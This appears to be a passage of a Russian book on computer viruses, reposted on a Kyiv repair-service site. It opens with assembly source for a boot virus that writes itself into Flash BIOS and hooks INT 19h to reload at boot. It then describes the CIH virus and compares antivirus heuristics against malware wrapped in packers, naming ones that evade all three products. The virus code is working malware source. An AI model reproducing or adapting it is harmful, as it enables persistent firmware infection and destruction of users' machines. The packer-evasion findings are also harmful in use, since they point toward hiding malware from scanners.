Записываемся во Flash BIOSwrite_enable:; Повышаем напряжениеmov al, 5int 16h;

Разрешаем запись во Flash BIOSmov al, 7int 16h;

Копируем 512 байт вируса во Flash BIOSpush dspop esxor di, dimov cx, 512push cspop dsxor si, sicldrep movsbmov bx, es ;

ВХ=сегмент вирусаxor ах, ахmov ds, ax ;

DS=Ta6nHua векторовmov di, word ptr [19h*4] ; Смещение INT 19hmov es, word ptr [19h*4+2] ; Сегмент INT 19h;

3апишем JMP FAR по адресу точки входа в INT 19hmov al, 0EAhstosbmov ax, offset int19handlerstoswmov ax, bx stosw;

Понизим напряжениеmov ax, 0E004hint 16h;

3ащитим Flash BIOS от записиmov al, 6int 16h;

Проверим, сохранялось ли состояние чипа, если нет – выходимcmp byte ptr cs:chipset, 0jne No_Flash_BIOS;

Восстановим состояние чипаpush cspop esmov al, 3mov di, offset bufferint 16hjmp No_Flash_BIOS;

Флаг несохранения состояния чипаchipset db 0; Флаг присутствия вируса во Flash BIOS

flash_done db 0; Наш обработчик INT 19h.int19Handler Proc Near;

Установим сегментный регистр ES в нольхог ах, ахmov es, ax;

Проверим наличие резидентного вирусаmov ax, 0ABBAhint 13h;

Если вирус присутствует, то запускаем оригинальный; обработчик прерывания INT 19hcmp ax, 0BAABhjne real_int19h;

Перенесем вирус из BIOS в boot-буферpush cspop dscldxor si, simov di, 7c00hmov cx,512rep movsb; 3апустим вирус в boot-буфереmov dl, 80hjmp goto_Buffer real_int19h:;

Произведем сброс дисковой подсистемыxor ax, axint 13h;

Проинициализируем значения регистров для загрузки boot-сектораmov cx, 1mov dh, 0mov ax, 0201hmov bx, 7C00h;

Проверим, откуда грузимся: если DL не нулевой,; переходим к загрузке с жесткого дискаcmp dl, 0ja hd_int19h;

Прочтем boot-сектор с дискеты. Если при чтении происходит; ошибка, то читаем с жесткого дискаint 13hjc fix_hd;

Остановим флаг, показывающий присутствие вируса во Flash BIOSGoto_Buffer:mov byte ptr es:[7C00h+offset flash_done], 1;

3апустим boot-сектор, находящийся в boot-буфереdb 0EAh ; Код команды JMP FARdw 7c00hdw 0 Fix_HD:;

Установим номер диска для загрузки (диск С)mov dl, 80hHD_int19h:;

Произведем сброс дисковой подсистемыхог ах, ахint 13h ;

Прочтем boot-секторmov ax, 0201hint 13hjc Bootjmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,; вызываем прерывание INT 18hBoot:int 18h

int19Handler EndPFlash_BIOS EndPEnd_Virus:;

Размер области памяти, необходимый для дополнения; размера вируса до 510 байтDupSize equ 510-offset End_Virus;

Заполнение не занятой вирусом части сектораdb DupSize dup (0)db 55h, 0aah

    Можно ли вышеописанный или подобный ему код назвать космополитом,встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего,насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" .

    Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус,работающий исключительно под операционными системами Windows 95/98. Длина вирусаоколо 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательноперепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, ктому же в настройках BIOS не должно быть установлено чтение только. Послеперепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все егосодержимое. При этом вирус использует прямой доступ к диску, обходя тем самымстандартную антивирусную защиту от записи в загрузочные сектора.

    Возможные варианты защиты (плюс такие классические варианты, как установкапоследней версии антивирусной программы с новыми базами):

♦ настройка BIOS, контроль режима чтение только;

♦ контроль критических областей с помощью специализированных утилит типа

ADINF32.

Возможные варианты лечения:

♦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;

♦ радикальный метод – перепрошивка BIOS/замена микросхем.

5.4. Как работает эвристический анализатор кода и почему даже два

антивируса в системе могут стать бесполезными

    В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:

♦ "Антивирус Касперского";

♦ ESET NOD32;

♦ Vba32 ("ВирусБлокАда").

  ПРИМЕЧАНИЕ

В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология

    Методология проведения теста

    Напомним, что качество эвристики определяется способностью антивирусараспознавать модифицированный вредоносный код. Фактически, эвристика предполагаетобнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторымпризнакам антивирус сам должен «домыслить», что проверяемый код является вирусным.Как вы уже поняли, задача не из легких.

    Для наибольшей объективности теста мы возьмем максимально широкий переченьинструментов, применяемых в подобных случаях. Помимо упаковщиков, генератороввирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а такжевоспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальнойтехнологией декриптования для обхода эвристических анализаторов.

    Подобная методология, включающая комплексное тестирование, широко применяетсяв сертифицированных тестовых лабораториях и позволяет минимизировать возможныепогрешности, сделав результат теста максимально объективным.

    "Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всехтрех случаях аналогичен и приравнен к средним.

Итак, пожалуй, начнем.

    Тест № 1

    Для проведения первого теста были использованы случайным образом отобранные изколлекции (579 штук) четыре экземпляра вредоносного кода:

♦ TrojanDownloader.13547;

♦ Backdoor. Win32Optix.b;

♦ Trojan-Win32PSW.QQRob.16;

♦ Trojan-Win32PSW.QQShou.EH.

    Каждый экземпляр был пропущен через PeStubOEP (программа предназначена длязащиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверкиследующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+".

Рис. 5.3.TrojanDownloader.13547 был успешно найден

Рис. 5.3.TrojanDownloader.13547 был успешно найден

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.4).

Рис. 5.4.Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!

Рис. 5.4.Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.5).

Рис. 5.5.Наш антивирус пока на высоте

Рис. 5.5.Наш антивирус пока на высоте

    Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его,только после того как были установлены максимальные настройки:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.6, 5.7).

    ПРИМЕЧАНИЕ

    Один из экземпляров вредоносного кода (Trojan-Win32PSW.QQShou.EH)Vba32 был определен как Trojan-Spy.Delf.13.Как видите, некоторые из экземпляров вредоносного кода могут быть обнаруженытолько с максимальными настройками, и совсем не факт, что антивирус расскажет вам всюправду.

Рис. 5.6.Экспертный анализ – максимален!

Рис. 5.6.Экспертный анализ – максимален!

Рис. 5.7.Похож на Spy-Delf…

Рис. 5.7.Похож на Spy-Delf…

    Используем следующую партию экземпляров, случайно отобранных из коллекции:

♦ Trojan.Spambot;

♦ OS.cope.Worm.UK.Nuwar;

♦ Trojan-Proxy.WIN32.Lager.aq.

    Два троянских коня и червь были запакованы Tibs. Проверяем:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.8).

Рис. 5.8.Результат проверки – Trojan.Spambot!

Рис. 5.8.Результат проверки – Trojan.Spambot!

    ПРИМЕЧАНИЕ

    Как видите, здесь нас немного огорчил NOD32. Но не будем забывать, чтодаже качественно проработанный движок несовершенен.

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.9).

Рис. 5.9.Самый настоящий червь!

Рис. 5.9.Самый настоящий червь!

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.10).

Рис. 5.10.Прокси-троян у нас под колпаком

Рис. 5.10.Прокси-троян у нас под колпаком

    Продолжаем наши эксперименты. Теперь возьмем три различных вируса и наобумзапакуем их тремя различными упаковщиками. Троянского коня упаковываем NsAnti.

    Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.11).

Рис. 5.11.На ловца и зверь бежит!

Рис. 5.11.На ловца и зверь бежит!

    Теперь Trojan-Spy.Win32.AimSpy запакуем SkD Undetectabler Pro 2 SkDPRO.

    Результаты:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "-";

♦ Vba32 "-".

    ПРИМЕЧАНИЕ

    Ну вот, собственно, и настал момент истины. Заметьте, что ни один из нашихантивирусных продуктов не смог обнаружить запакованный SkD Undetectabler Pro2 SkDPRO троянский конь – SkD Undetectabler Pro 2 SkDPRO!

    Едем дальше. Trojan.Mezzia пакуем Zipworx SecureEXE.

    Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.12).

Рис. 5.12.Vba не спит

Рис. 5.12.Vba не спит

    Тест № 2

    Тест включает в себя упаковку одного вируса несколькими упаковщиками. В качестве«зло-кода» был использован известный Virus.Win32.Neshta.b. Итак, результаты.

    Пропускаем нашего "нечто" через WinUpack:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.13).

Рис. 5.13.Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01

Рис. 5.13.Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "-" (рис. 5.14).

Рис. 5.14.Vba32 не видит наше «нечто»

Рис. 5.14.Vba32 не видит наше «нечто»

Пропускаем "нечто" через FSG.

Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.15).

Рис. 5.15.И опять наш антивирус на высоте

Рис. 5.15.И опять наш антивирус на высоте

    ПРИМЕЧАНИЕ

    Как видите, в этом тесте Vba32 не смог обнаружить "нечто", запакованногоArm Protector ver.01. Nod32 совсем не распознал Neshta, запакованного WinUpack. Вывод: совершенной эвристики нет – к ней лишь можно стремиться.

Тест № 3

    В данном тесте был использован генератор вирусов APOKALIPSES. Из десятисгенерированных экземпляров Vba32 обнаружил 8, Nod32 2.7 – 9, «Антивирус Касперского6.0» обнаружил все.

    Для проведения четвертого теста был использован свеженаписанный вирус,форматирующий диски. Данный прием (применение в тесте вируса, заведомоотсутствующего в базах) позволяет с высокой долей вероятности определить качествоэвристики, так как приближает работу эвристического анализатора к естественным, нелабораторным условиям.

    Итак, посмотрим на результаты. Vba32 не обнаружил вирусный код (рис. 5.16).

Тест № 4

Рис. 5.16.«В порядке!»

Рис. 5.16.«В порядке!»

    "Антивирус Касперского 6.0" также ничего не обнаружил (рис. 5.17).

Рис. 5.17.«Опасных объектов не обнаружено!»

Рис. 5.17.«Опасных объектов не обнаружено!»

    Лишь Nod32 обнаружил самописный вирус, классифицировав его как модификацию(рис. 5.18).

Рис. 5.18.Здесь NOD32 показал себя с самой лучшей стороны

Рис. 5.18.Здесь NOD32 показал себя с самой лучшей стороны

    Тест № 5

     Тест на противодействие обфускации. Подправим наш экземпляр (Trojan.Downloader.Win32.Zlob) вручную. Для этого внедрим пару неизвестных инструкций воригинальный код. Зачем? Чтобы усложнить задачу по эмулированию новых инструкцийэвристическим анализатором тестируемого антивируса: говоря простым языком, эмуляторубудет более чем сложно узнать, откуда продолжать разбор кода.

    Полученную таким образом модификацию вирусного кода последовательно пропустимчерез ARM Protector, TeLock и Afx!AVSpoffer. Настоящий "biohazard"! Посмотрим, как сэтим справятся наши антивирусы.

    Результаты:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "-";

♦ Vba32

    ПРИМЕЧАНИЕ

    Как вы можете видеть, ни одна из антивирусных программ не смоглавынести такой "biohazard".

Тест № 6

    Eicar Test. Именно этот тест используется для проверки работоспособностиантивирусных программ. Обоснованность проведения подобного теста при анализеэвристики особенно очевидна: стандартизованность EICAR позволяет получать результаты сминимальными погрешностями при определении способности антивируса работать супаковщиками.

    Фактически, имитация вируса представляет собой такую последовательность:X5O!P%@AP[4PZX54(P")7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    ПРИМЕЧАНИЕ

    Для проверки внесите данный текст в Блокнот, после чего попробуйтепроверить ваш TXT антивирусом.

    Здесь тестовый текст был упакован десятью различными упаковщиками. Итак,результаты антивирусной проверки:

♦ Nod32 2.7 – обнаружил восемь экземпляров;

♦ "Антивирус Касперского 6.0" – обнаружил девять экземпляров;

♦ Vba32 – обнаружил восемь экземпляров.

    Тест № 7

    Тест на обнаружение полиморфных вариантов. Напомню нашим читателям, что воснове полиморфизма стоит способность вируса к изменению своего кода, так называемой«мутации» – образованию неузнаваемых антивирусом форм, что, к слову будет сказано,является идеальным вариантом для нашего теста.

    В качестве исследуемого мы используем Virus.Win32.Zombi, который представляетсобой сложный полиморфный вирус. Вирус использует уникальную технологиювстраивания в файлы: вначале он дизассемблирует исполняемый файл на составные части,встраивает свой код, после чего собирает файл, так чтобы вирусный код и код зараженногофайла смешались. Для обхода эвристических анализаторов Virus.Win32.Zombie используетуникальную технологию декриптования своего тела.

    Итак, результаты:

♦ Nod32 2.7 – обнаружил;

♦ "Антивирус Касперского 6.0" – не обнаружил;

♦ Vba32 – обнаружил.

    Для "Антивируса Касперского 6.0" Virus.Win32.Zombi оказался не по зубам.


    Выезд компьютерного мастера в районы: Троещина, Оболонь, Позняки, Теремки, Борщаговка, Шулявка, Дарница, Соломенка, Осокорки, Лесной, Березняки, Подол, Виноградар, Демеевка, Русановка, Лукьяновка, Татарка, Академгородок, Святошино, ДВРЗ, Гончарка, Голосеево, Академгородок, Беличи, Корчеватое, Китаево, Жуляны, Борисполь, Бровары, Вышневе




Ссылки